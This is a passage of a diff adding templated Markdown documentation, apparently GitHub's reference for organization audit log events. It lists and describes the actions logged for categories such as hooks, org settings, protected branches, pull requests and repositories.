+| `destroy` | Triggered when [a team discussion post is deleted](/articles/managing-disruptive-comments/#deleting-a-comment).
+
+### `discussion_post_reply` category actions
+
+| Action | Description
+|------------------|-------------------
+| `update` | Triggered when [a reply to a team discussion post is edited](/articles/managing-disruptive-comments/#editing-a-comment).
+| `destroy` | Triggered when [a reply to a team discussion post is deleted](/articles/managing-disruptive-comments/#deleting-a-comment).
+
+{% ifversion fpt or ghes or ghec %}
+### `enterprise` category actions
+
+{% data reusables.actions.actions-audit-events-for-enterprise %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### `environment` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create_actions_secret` | Triggered when a secret is created in an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| `delete` | Triggered when an environment is deleted. For more information, see ["Deleting an environment](/actions/reference/environments#deleting-an-environment)."
+| `remove_actions_secret` |  Triggered when a secret is removed from an environment. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+| `update_actions_secret` | Triggered when a secret in an environment is updated. For more information, see ["Environment secrets](/actions/reference/environments#environment-secrets)."
+{% endif %}
+
+{% ifversion ghae %}
+### `external_group` category actions
+
+{% data reusables.saml.external-group-audit-events %}
+
+{% endif %}
+
+{% ifversion ghae %}
+### `external_identity` category actions
+
+{% data reusables.saml.external-identity-audit-events %}
+
+{% endif %}
+
+{% ifversion fpt or ghec %}
+### `git` category actions
+
+{% note %}
+
+**Note:** To access Git events in the audit log, you must use the audit log REST API. The audit log REST API is available for users of {% data variables.product.prodname_ghe_cloud %} only. For more information, see "[Organizations](/rest/reference/orgs#get-the-audit-log-for-an-organization)."
+
+{% endnote %}
+
+{% data reusables.audit_log.audit-log-git-events-retention %}
+
+| Action  | Description
+|---------|----------------------------
+| `clone` | Triggered when a repository is cloned.
+| `fetch` | Triggered when changes are fetched from a repository.
+| `push`  | Triggered when changes are pushed to a repository.
+
+{% endif %}
+
+### `hook` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when [a new hook was added](/articles/creating-webhooks) to a repository owned by your organization.
+| `config_changed` | Triggered when an existing hook has its configuration altered.
+| `destroy` | Triggered when an existing hook was removed from a repository.
+| `events_changed` | Triggered when the events on a hook have been altered.
+
+### `integration_installation` category actions
+
+| Action | Description
+|--------|-------------
+| `contact_email_changed` | A contact email for an integration was changed.
+| `create` | An integration was installed.
+| `destroy` | An integration was uninstalled.
+| `repositories_added` | Repositories were added to an integration.
+| `repositories_removed` | Repositories were removed from an integration.
+{%- ifversion fpt or ghec %}
+| `suspend` | An integration was suspended.
+| `unsuspend` | An integration was unsuspended.
+{%- endif %}
+| `version_updated` | Permissions for an integration were updated.
+
+### `integration_installation_request` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when an organization member requests that an organization owner install an integration for use in the organization.
+| `close` | Triggered when a request to install an integration for use in an organization is either approved or denied by an organization owner, or canceled by the organization member who opened the request.
+
+{% ifversion ghec or ghae %}
+### `ip_allow_list` category actions
+
+| Action | Description
+|------------------|-------------------
+| `enable` | Triggered when an IP allow list was enabled for an organization.
+| `disable` | Triggered when an IP allow list was disabled for an organization.
+| `enable_for_installed_apps` | Triggered when an IP allow list was enabled for installed {% data variables.product.prodname_github_apps %}.
+| `disable_for_installed_apps` | Triggered when an IP allow list was disabled for installed {% data variables.product.prodname_github_apps %}.
+
+### `ip_allow_list_entry` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when an IP address was added to an IP allow list.
+| `update` | Triggered when an IP address or its description was changed.
+| `destroy` | Triggered when an IP address was deleted from an IP allow list.
+{% endif %}
+
+### `issue` category actions
+
+| Action | Description
+|------------------|-------------------
+| `destroy`        | Triggered when an organization owner or someone with admin permissions in a repository deletes an issue from an organization-owned repository.
+
+{% ifversion fpt or ghec %}
+
+### `marketplace_agreement_signature` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when you sign the {% data variables.product.prodname_marketplace %} Developer Agreement.
+
+### `marketplace_listing` category actions
+
+| Action | Description
+|------------------|-------------------
+| `approve` | Triggered when your listing is approved for inclusion in {% data variables.product.prodname_marketplace %}.
+| `create` | Triggered when you create a listing for your app in {% data variables.product.prodname_marketplace %}.
+| `delist` | Triggered when your listing is removed from {% data variables.product.prodname_marketplace %}.
+| `redraft` | Triggered when your listing is sent back to draft state.
+| `reject` | Triggered when your listing is not accepted for inclusion in {% data variables.product.prodname_marketplace %}.
+
+{% endif %}
+
+{% ifversion fpt or ghes or ghec %}
+
+### `members_can_create_pages` category actions
+
+For more information, see "[Managing the publication of {% data variables.product.prodname_pages %} sites for your organization](/organizations/managing-organization-settings/managing-the-publication-of-github-pages-sites-for-your-organization)."
+
+| Action | Description |
+| :- | :- |
+| `enable` | Triggered when an organization owner enables publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. |
+| `disable` | Triggered when an organization owner disables publication of {% data variables.product.prodname_pages %} sites for repositories in the organization. |
+
+{% endif %}
+
+### `oauth_application` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a new {% data variables.product.prodname_oauth_app %} is created.
+| `destroy` | Triggered when an existing {% data variables.product.prodname_oauth_app %} is deleted.
+| `reset_secret` | Triggered when an {% data variables.product.prodname_oauth_app %}'s client secret is reset.
+| `revoke_tokens` | Triggered when an {% data variables.product.prodname_oauth_app %}'s user tokens are revoked.
+| `transfer` |  Triggered when an existing {% data variables.product.prodname_oauth_app %} is transferred to a new organization.
+
+### `org` category actions
+
+| Action | Description
+|------------------|-------------------
+| `add_member` | Triggered when a user joins an organization.
+| `advanced_security_policy_selected_member_disabled` | Triggered when an enterprise owner prevents {% data variables.product.prodname_GH_advanced_security %} features from being enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}
+| `advanced_security_policy_selected_member_enabled` | Triggered when an enterprise owner allows {% data variables.product.prodname_GH_advanced_security %} features to be enabled for repositories owned by the organization. {% data reusables.advanced-security.more-information-about-enforcement-policy %}{% ifversion fpt or ghec %}
+| `audit_log_export` | Triggered when an organization admin [creates an export of the organization audit log](#exporting-the-audit-log). If the export included a query, the log will list the query used and the number of audit log entries matching that query.
+| `block_user` | Triggered when an organization owner [blocks a user from accessing the organization's repositories](/communities/maintaining-your-safety-on-github/blocking-a-user-from-your-organization).
+| `cancel_invitation` | Triggered when an organization invitation has been revoked. {% endif %}{% ifversion fpt or ghes or ghec %}
+| `create_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is created for an organization. For more information, see "[Creating encrypted secrets for an organization](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-an-organization)."{% endif %} {% ifversion fpt or ghec %}
+| `disable_oauth_app_restrictions` | Triggered when an owner [disables {% data variables.product.prodname_oauth_app %} access restrictions](/articles/disabling-oauth-app-access-restrictions-for-your-organization) for your organization.{% ifversion ghec %}
+| `disable_saml` | Triggered when an organization admin disables SAML single sign-on for an organization.{% endif %}{% endif %}
+| `disable_member_team_creation_permission` | Triggered when an organization owner limits team creation to owners. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)." |{% ifversion not ghae %}
+| `disable_two_factor_requirement` | Triggered when an owner disables a two-factor authentication requirement for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.{% endif %}{% ifversion fpt or ghec %}
+| `enable_oauth_app_restrictions` | Triggered when an owner [enables {% data variables.product.prodname_oauth_app %} access restrictions](/articles/enabling-oauth-app-access-restrictions-for-your-organization) for your organization.{% ifversion ghec %}
+| `enable_saml` | Triggered when an organization admin [enables SAML single sign-on](/articles/enabling-and-testing-saml-single-sign-on-for-your-organization) for an organization.{% endif %}{% endif %}
+| `enable_member_team_creation_permission` | Triggered when an organization owner allows members to create teams. For more information, see "[Setting team creation permissions in your organization](/articles/setting-team-creation-permissions-in-your-organization)." |{% ifversion not ghae %}
+| `enable_two_factor_requirement` | Triggered when an owner requires two-factor authentication for all members{% ifversion fpt or ghec %}, billing managers,{% endif %} and outside collaborators in an organization.{% endif %}{% ifversion fpt or ghec %}
+| `invite_member` | Triggered when [a new user was invited to join your organization](/organizations/managing-membership-in-your-organization/inviting-users-to-join-your-organization).
+| `oauth_app_access_approved` | Triggered when an owner [grants organization access to an {% data variables.product.prodname_oauth_app %}](/articles/approving-oauth-apps-for-your-organization/).
+| `oauth_app_access_denied` | Triggered when an owner [disables a previously approved {% data variables.product.prodname_oauth_app %}'s access](/articles/denying-access-to-a-previously-approved-oauth-app-for-your-organization) to your organization.
+| `oauth_app_access_requested` | Triggered when an organization member requests that an owner grant an {% data variables.product.prodname_oauth_app %} access to your organization.{% endif %}
+{% ifversion ghec %}
+| `org.transfer` | Triggered when an organization is transferred between enterprise accounts. For more information, see "[Transferring an organization between enterprise accounts](/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise#transferring-an-organization-between-enterprise-accounts)."{% endif %}
+| `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to an organization](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-an-organization)."
+| `remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.{% ifversion fpt or ghec %}
+| `remove_billing_manager` | Triggered when an [owner removes a billing manager from an organization](/articles/removing-a-billing-manager-from-your-organization/) or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and a billing manager doesn't use 2FA or disables 2FA. |{% endif %}
+| `remove_member` | Triggered when an [owner removes a member from an organization](/articles/removing-a-member-from-your-organization/){% ifversion not ghae %} or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and an organization member doesn't use 2FA or disables 2FA{% endif %}. Also triggered when an [organization member removes themselves](/articles/removing-yourself-from-an-organization/) from an organization.|
+| `remove_outside_collaborator` | Triggered when an owner removes an outside collaborator from an organization{% ifversion not ghae %} or when [two-factor authentication is required in an organization](/articles/requiring-two-factor-authentication-in-your-organization) and an outside collaborator does not use 2FA or disables 2FA{% endif %}. |
+| `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from an organization](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-an-organization)." {% ifversion ghec %}
+| `revoke_external_identity` | Triggered when an organization owner revokes a member's linked identity. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)."
+| `revoke_sso_session` | Triggered when an organization owner revokes a member's SAML session. For more information, see "[Viewing and managing a member's SAML access to your organization](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization#viewing-and-revoking-a-linked-identity)." {% endif %}
+| `runner_group_created` | Triggered when a self-hosted runner group is created. For more information, see "[Creating a self-hosted runner group for an organization](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#creating-a-self-hosted-runner-group-for-an-organization)."
+| `runner_group_removed` | Triggered when a self-hosted runner group is removed. For more information, see "[Removing a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#removing-a-self-hosted-runner-group)."
+| `runner_group_updated` | Triggered when the configuration of a self-hosted runner group is changed. For more information, see "[Changing the access policy of a self-hosted runner group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#changing-the-access-policy-of-a-self-hosted-runner-group)."
+| `runner_group_runners_added` | Triggered when a self-hosted runner is added to a group. For more information, see [Moving a self-hosted runner to a group](/actions/hosting-your-own-runners/managing-access-to-self-hosted-runners-using-groups#moving-a-self-hosted-runner-to-a-group).
+| `runner_group_runner_removed` |  Triggered when the REST API is used to remove a self-hosted runner from a group. For more information, see "[Remove a self-hosted runner from a group for an organization](/rest/reference/actions#remove-a-self-hosted-runner-from-a-group-for-an-organization)."
+| `runner_group_runners_updated`|  Triggered when a runner group's list of members is updated. For more information, see "[Set self-hosted runners in a group for an organization](/rest/reference/actions#set-self-hosted-runners-in-a-group-for-an-organization)."
+{%- ifversion code-security-audit-log-events %}
+| `secret_scanning_push_protection_custom_message_disabled` | Triggered when an organization owner or admin disables the custom message triggered by an attempted push to a push-protected repository. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)."
+| `secret_scanning_push_protection_custom_message_enabled` | Triggered when an organization owner or admin enables the custom message triggered by an attempted push to a push-protected repository. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)."
+| `secret_scanning_push_protection_custom_message_updated` | Triggered when an organization owner or admin updates the custom message triggered by an attempted push to a push-protected repository. For more information, see "[Protecting pushes with {% data variables.product.prodname_secret_scanning %}](/code-security/secret-scanning/protecting-pushes-with-secret-scanning#enabling-secret-scanning-as-a-push-protection-for-an-organization)."
+{%- endif %}
+{%- ifversion secret-scanning-audit-log-custom-patterns %}
+| `secret_scanning_push_protection_disable ` | Triggered when an organization owner or person with admin access to the organization disables push protection for secret scanning. For more information, see "[Protecting pushes with secret scanning](/enterprise-cloud@latest/code-security/secret-scanning/protecting-pushes-with-secret-scanning)."
+| `secret_scanning_push_protection_enable ` | Triggered when an organization owner or person with admin access to the organization enables push protection for {% data variables.product.prodname_secret_scanning %}.{%- endif %}
+| `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% ifversion fpt or ghes or ghec %}
+| `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %}
+| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed for an organization. For more information, see "[Requiring approval for workflows from public forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#requiring-approval-for-workflows-from-public-forks)."{% endif %}
+| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed. For more information, see "[Enforcing policies for {% data variables.product.prodname_actions %} in your enterprise](/admin/policies/enforcing-policies-for-your-enterprise/enforcing-policies-for-github-actions-in-your-enterprise#enforcing-a-policy-for-artifact-and-log-retention-in-your-enterprise)."{% ifversion fpt or ghes or ghec %}
+| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on  private repository forks is changed. For more information, see "[Enabling workflows for private repository forks](/organizations/managing-organization-settings/disabling-or-limiting-github-actions-for-your-organization#enabling-workflows-for-private-repository-forks)."{% endif %}{% ifversion fpt or ghec %}
+| `unblock_user` | Triggered when an organization owner [unblocks a user from an organization](/communities/maintaining-your-safety-on-github/unblocking-a-user-from-your-organization).{% endif %}{% ifversion fpt or ghes or ghec %}
+| `update_actions_secret` |Triggered when a {% data variables.product.prodname_actions %} secret is updated.{% endif %}
+| `update_new_repository_default_branch_setting` | Triggered when an owner changes the name of the default branch for new repositories in the organization. For more information, see "[Managing the default branch name for repositories in your organization](/organizations/managing-organization-settings/managing-the-default-branch-name-for-repositories-in-your-organization)."
+| `update_default_repository_permission` | Triggered when an owner changes the default repository permission level for organization members.
+| `update_member` | Triggered when an owner changes a person's role from owner to member or member to owner.
+| `update_member_repository_creation_permission` | Triggered when an owner changes the create repository permission for organization members.{% ifversion fpt or ghec %}
+| `update_saml_provider_settings` | Triggered when an organization's SAML provider settings are updated.
+| `update_terms_of_service` | Triggered when an organization changes between the Standard Terms of Service and the Corporate Terms of Service. For more information, see "[Upgrading to the Corporate Terms of Service](/articles/upgrading-to-the-corporate-terms-of-service)."{% endif %}
+
+{% ifversion ghec %}
+### `org_credential_authorization` category actions
+
+| Action | Description
+|------------------|-------------------
+| `grant` | Triggered when a member [authorizes credentials for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on).
+| `deauthorized` | Triggered when a member [deauthorizes credentials for use with SAML single sign-on](/github/authenticating-to-github/authenticating-with-saml-single-sign-on).
+| `revoke` | Triggered when an owner [revokes authorized credentials](/organizations/granting-access-to-your-organization-with-saml-single-sign-on/viewing-and-managing-a-members-saml-access-to-your-organization).
+
+{% endif %}{% ifversion secret-scanning-audit-log-custom-patterns %}
+
+### `org_secret_scanning_custom_pattern` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a custom pattern is published for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#defining-a-custom-pattern-for-an-organization)."
+| `update` | Triggered when changes to a custom pattern are saved for secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#editing-a-custom-pattern)."
+| `delete` | Triggered when a custom pattern is removed from secret scanning in an organization. For more information, see "[Defining custom patterns for secret scanning](/code-security/secret-scanning/defining-custom-patterns-for-secret-scanning#removing-a-custom-pattern)."
+
+{% endif %}
+### `organization_default_label` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a default label is created.
+| `update` | Triggered when a default label is edited.
+| `destroy` | Triggered when a default label is deleted.
+
+### `packages` category actions
+
+| Action | Description |
+|--------|-------------|
+| `package_version_published` | Triggered when a package version is published. |
+| `package_version_deleted` | Triggered when a specific package version is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+| `package_deleted` | Triggered when an entire package is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+| `package_version_restored` | Triggered when a specific package version is deleted. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+| `package_restored` | Triggered when an entire package is restored. For more information, see "[Deleting and restoring a package](/packages/learn-github-packages/deleting-and-restoring-a-package)."
+
+{% ifversion fpt or ghec %}
+
+### `payment_method` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` |  Triggered when a new payment method is added, such as a new credit card or PayPal account.
+| `update` | Triggered when an existing payment method is updated.
+
+{% endif %}
+
+{% ifversion pat-v2 %}
+
+### `personal_access_token` category actions
+
+| Action | Description
+|------------------|-------------------
+| `access_granted` | Triggered when a {% data variables.product.pat_v2 %} is granted access to organization resources. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)."
+| `access_revoked` | Triggered when access to organization resources by a {% data variables.product.pat_v2 %} is revoked. The token can still read public organization resources. For more information, see "[Reviewing and revoking {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/reviewing-and-revoking-personal-access-tokens-in-your-organization)."
+| `request_cancelled` | Triggered when a member of the organization cancels a request for their {% data variables.product.pat_v2 %} to access organization resources.
+| `request_created` | Triggered when a member of the organization creates a {% data variables.product.pat_v2 %} to access organization resources and the organization requires approval before a {% data variables.product.pat_v2 %} can access organization resources. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)."
+| `request_denied` | Triggered when a request for a {% data variables.product.pat_v2 %} to access organization resources is denied. For more information, see "[Managing requests for {% data variables.product.pat_generic %} in your organization](/organizations/managing-programmatic-access-to-your-organization/managing-requests-for-personal-access-tokens-in-your-organization)."
+
+{% endif %}
+
+### `profile_picture` category actions
+| Action | Description
+|------------------|-------------------
+| update | Triggered when you set or update your organization's profile picture.
+
+### `project` category actions
+
+| Action | Description
+|--------------------|---------------------
+| `create` | Triggered when a project board is created.
+| `link` | Triggered when a repository is linked to a project board.
+| `rename` | Triggered when a project board is renamed.
+| `update` | Triggered when a project board is updated.
+| `delete` | Triggered when a project board is deleted.
+| `unlink` | Triggered when a repository is unlinked from a project board.
+| `update_org_permission` | Triggered when the base-level permission for all organization members is changed or removed. |
+| `update_team_permission` | Triggered when a team's project board permission level is changed or when a team is added or removed from a project board. |
+| `update_user_permission` | Triggered when an organization member or outside collaborator is added to or removed from a project board or has their permission level changed.|
+
+### `protected_branch` category actions
+
+| Action | Description
+|--------------------|---------------------
+| `create ` | Triggered when branch protection is enabled on a branch.
+| `destroy` | Triggered when branch protection is disabled on a branch.
+| `update_admin_enforced ` | Triggered when branch protection is enforced for repository administrators.
+| `update_require_code_owner_review ` | Triggered when enforcement of required Code Owner review is updated on a branch.
+| `dismiss_stale_reviews ` | Triggered when enforcement of dismissing stale pull requests is updated on a branch.
+| `update_signature_requirement_enforcement_level ` | Triggered when enforcement of required commit signing is updated on a branch.
+| `update_pull_request_reviews_enforcement_level ` | Triggered when enforcement of required pull request reviews is updated on a branch. Can be one of `0`(deactivated), `1`(non-admins), `2`(everyone).
+| `update_required_status_checks_enforcement_level ` | Triggered when enforcement of required status checks is updated on a branch.
+| `update_strict_required_status_checks_policy` | Triggered when the requirement for a branch to be up to date before merging is changed.
+| `rejected_ref_update ` | Triggered when a branch update attempt is rejected.
+| `policy_override ` | Triggered when a branch protection requirement is overridden by a repository administrator.
+| `update_allow_force_pushes_enforcement_level ` | Triggered when force pushes are enabled or disabled for a protected branch.
+| `update_allow_deletions_enforcement_level ` | Triggered when branch deletion is enabled or disabled for a protected branch.
+| `update_linear_history_requirement_enforcement_level ` | Triggered when required linear commit history is enabled or disabled for a protected branch.
+
+### `pull_request` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a pull request is created.
+| `close` | Triggered when a pull request is closed without being merged.
+| `reopen` | Triggered when a pull request is reopened after previously being closed.
+| `merge` | Triggered when a pull request is merged.
+| `indirect_merge` | Triggered when a pull request is considered merged because its commits were merged into the target branch.
+| `ready_for_review` | Triggered when a pull request is marked as ready for review.
+| `converted_to_draft` | Triggered when a pull request is converted to a draft.
+| `create_review_request` | Triggered when a review is requested.
+| `remove_review_request` | Triggered when a review request is removed.
+
+### `pull_request_review` category actions
+
+| Action | Description
+|------------------|-------------------
+| `submit` | Triggered when a review is submitted.
+| `dismiss` | Triggered when a review is dismissed.
+| `delete` | Triggered when a review is deleted.
+
+### `pull_request_review_comment` category actions
+
+| Action | Description
+|------------------|-------------------
+| `create` | Triggered when a review comment is added.
+| `update` | Triggered when a review comment is changed.
+| `delete` | Triggered when a review comment is deleted.
+
+### `repo` category actions
+
+| Action | Description
+|------------------|-------------------
+| `access` | Triggered when a user [changes the visibility](/github/administering-a-repository/setting-repository-visibility) of a repository in the organization.
+| `actions_enabled` | Triggered when {% data variables.product.prodname_actions %} is enabled for a repository. Can be viewed using the UI. This event is not included when you access the audit log using the REST API. For more information, see "[Using the REST API](#using-the-rest-api)."
+| `add_member` | Triggered when a user accepts an [invitation to have collaboration access to a repository](/articles/inviting-collaborators-to-a-personal-repository).
+| `add_topic` | Triggered when a repository admin [adds a topic](/articles/classifying-your-repository-with-topics) to a repository.
+| `advanced_security_disabled` | Triggered when a repository administrator disables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)."
+| `advanced_security_enabled` | Triggered when a repository administrator enables {% data variables.product.prodname_GH_advanced_security %} features for the repository. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository).".
+| `archived` | Triggered when a repository admin [archives a repository](/articles/about-archiving-repositories).{% ifversion ghes %}
+| `config.disable_anonymous_git_access` | Triggered when [anonymous Git read access is disabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
+| `config.enable_anonymous_git_access` | Triggered when [anonymous Git read access is enabled](/enterprise/user/articles/enabling-anonymous-git-read-access-for-a-repository) in a public repository.
+| `config.lock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is locked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).
+| `config.unlock_anonymous_git_access` | Triggered when a repository's [anonymous Git read access setting is unlocked](/enterprise/admin/guides/user-management/preventing-users-from-changing-anonymous-git-read-access).{% endif %}
+| `create` | Triggered when [a new repository is created](/articles/creating-a-new-repository).{% ifversion fpt or ghes or ghec %}
+| `create_actions_secret` |Triggered when a {% data variables.product.prodname_actions %} secret is created for a repository. For more information, see "[Creating encrypted secrets for a repository](/actions/reference/encrypted-secrets#creating-encrypted-secrets-for-a-repository)."{% endif %}
+| `destroy` | Triggered when [a repository is deleted](/articles/deleting-a-repository).{% ifversion fpt or ghec %}
+| `disable` | Triggered when a repository is disabled (e.g., for [insufficient funds](/articles/unlocking-a-locked-account)).{% endif %}
+| `enable` | Triggered when a repository is re-enabled.{% ifversion fpt or ghes or ghec %}
+| `remove_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is removed.{% endif %}
+| `remove_member` | Triggered when a user is [removed from a repository as a collaborator](/articles/removing-a-collaborator-from-a-personal-repository).
+| `register_self_hosted_runner` | Triggered when a new self-hosted runner is registered. For more information, see "[Adding a self-hosted runner to a repository](/actions/hosting-your-own-runners/adding-self-hosted-runners#adding-a-self-hosted-runner-to-a-repository)."
+| `remove_self_hosted_runner` | Triggered when a self-hosted runner is removed. For more information, see "[Removing a runner from a repository](/actions/hosting-your-own-runners/removing-self-hosted-runners#removing-a-runner-from-a-repository)."
+| `remove_topic` | Triggered when a repository admin removes a topic from a repository.
+| `rename` | Triggered when [a repository is renamed](/articles/renaming-a-repository).
+| `self_hosted_runner_online` | Triggered when the runner application is started. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."
+| `self_hosted_runner_offline` | Triggered when the runner application is stopped. Can only be viewed using the REST API; not visible in the UI or JSON/CSV export. For more information, see "[Checking the status of a self-hosted runner](/actions/hosting-your-own-runners/monitoring-and-troubleshooting-self-hosted-runners#checking-the-status-of-a-self-hosted-runner)."{% ifversion fpt or ghes or ghec %}
+| `self_hosted_runner_updated` | Triggered when the runner application is updated. Can be viewed using the REST API and the UI; not visible in the JSON/CSV export. For more information, see "[About self-hosted runners](/actions/hosting-your-own-runners/about-self-hosted-runners#about-self-hosted-runners)."{% endif %}{% ifversion fpt or ghec %}
+| `set_actions_fork_pr_approvals_policy` | Triggered when the setting for requiring approvals for workflows from public forks is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-required-approval-for-workflows-from-public-forks)."{% endif %}
+| `set_actions_retention_limit` | Triggered when the retention period for {% data variables.product.prodname_actions %} artifacts and logs is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#configuring-the-retention-period-for-github-actions-artifacts-and-logs-in-your-repository)."{% ifversion fpt or ghes or ghec %}
+| `set_fork_pr_workflows_policy` | Triggered when the policy for workflows on private repository forks is changed. For more information, see "[Managing {% data variables.product.prodname_actions %} settings for a repository](/repositories/managing-your-repositorys-settings-and-features/enabling-features-for-your-repository/managing-github-actions-settings-for-a-repository#enabling-workflows-for-private-repository-forks)."{% endif %}
+| `staff_unlock` | Triggered when an enterprise owner or {% data variables.contact.github_support %} (with permission from a repository administrator) temporarily unlocked the repository. The visibility of the repository isn't changed.
+| `transfer` | Triggered when [a repository is transferred](/articles/how-to-transfer-a-repository).
+| `transfer_start` | Triggered when a repository transfer is about to occur.
+| `unarchived` | Triggered when a repository admin unarchives a repository.{% ifversion fpt or ghes or ghec %}
+| `update_actions_secret` | Triggered when a {% data variables.product.prodname_actions %} secret is updated.{% endif %}
+
+{% ifversion fpt or ghec %}
+
+### `repository_advisory` category actions
+
+| Action | Description
+|------------------|-------------------
+| `close` | Triggered when someone closes a security advisory. For more information, see "[About {% data variables.product.prodname_dotcom %} Security Advisories](/github/managing-security-vulnerabilities/about-github-security-advisories)."
+| `cve_request` | Triggered when someone requests a CVE (Common Vulnerabilities and Exposures) number from {% data variables.product.prodname_dotcom %} for a draft security advisory.
+| `github_broadcast` | Triggered when {% data variables.product.prodname_dotcom %} makes a security advisory public in the {% data variables.product.prodname_advisory_database %}.
+| `github_withdraw` | Triggered when {% data variables.product.prodname_dotcom %} withdraws a security advisory that was published in error.
+| `open` | Triggered when someone opens a draft security advisory.
+| `publish` | Triggered when someone publishes a security advisory.
+| `reopen` | Triggered when someone reopens as draft security advisory.
+| `update` | Triggered when someone edits a draft or published security advisory.
+
+### `repository_content_analysis` category actions
+
+| Action | Description
+|------------------|-------------------
+| `enable` | Triggered when an organization owner or person with admin access to the repository [enables data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository).
+| `disable` | Triggered when an organization owner or person with admin access to the repository [disables data use settings for a private repository](/get-started/privacy-on-github/managing-data-use-settings-for-your-private-repository).
+
+{% endif %}{% ifversion fpt or ghec %}
+
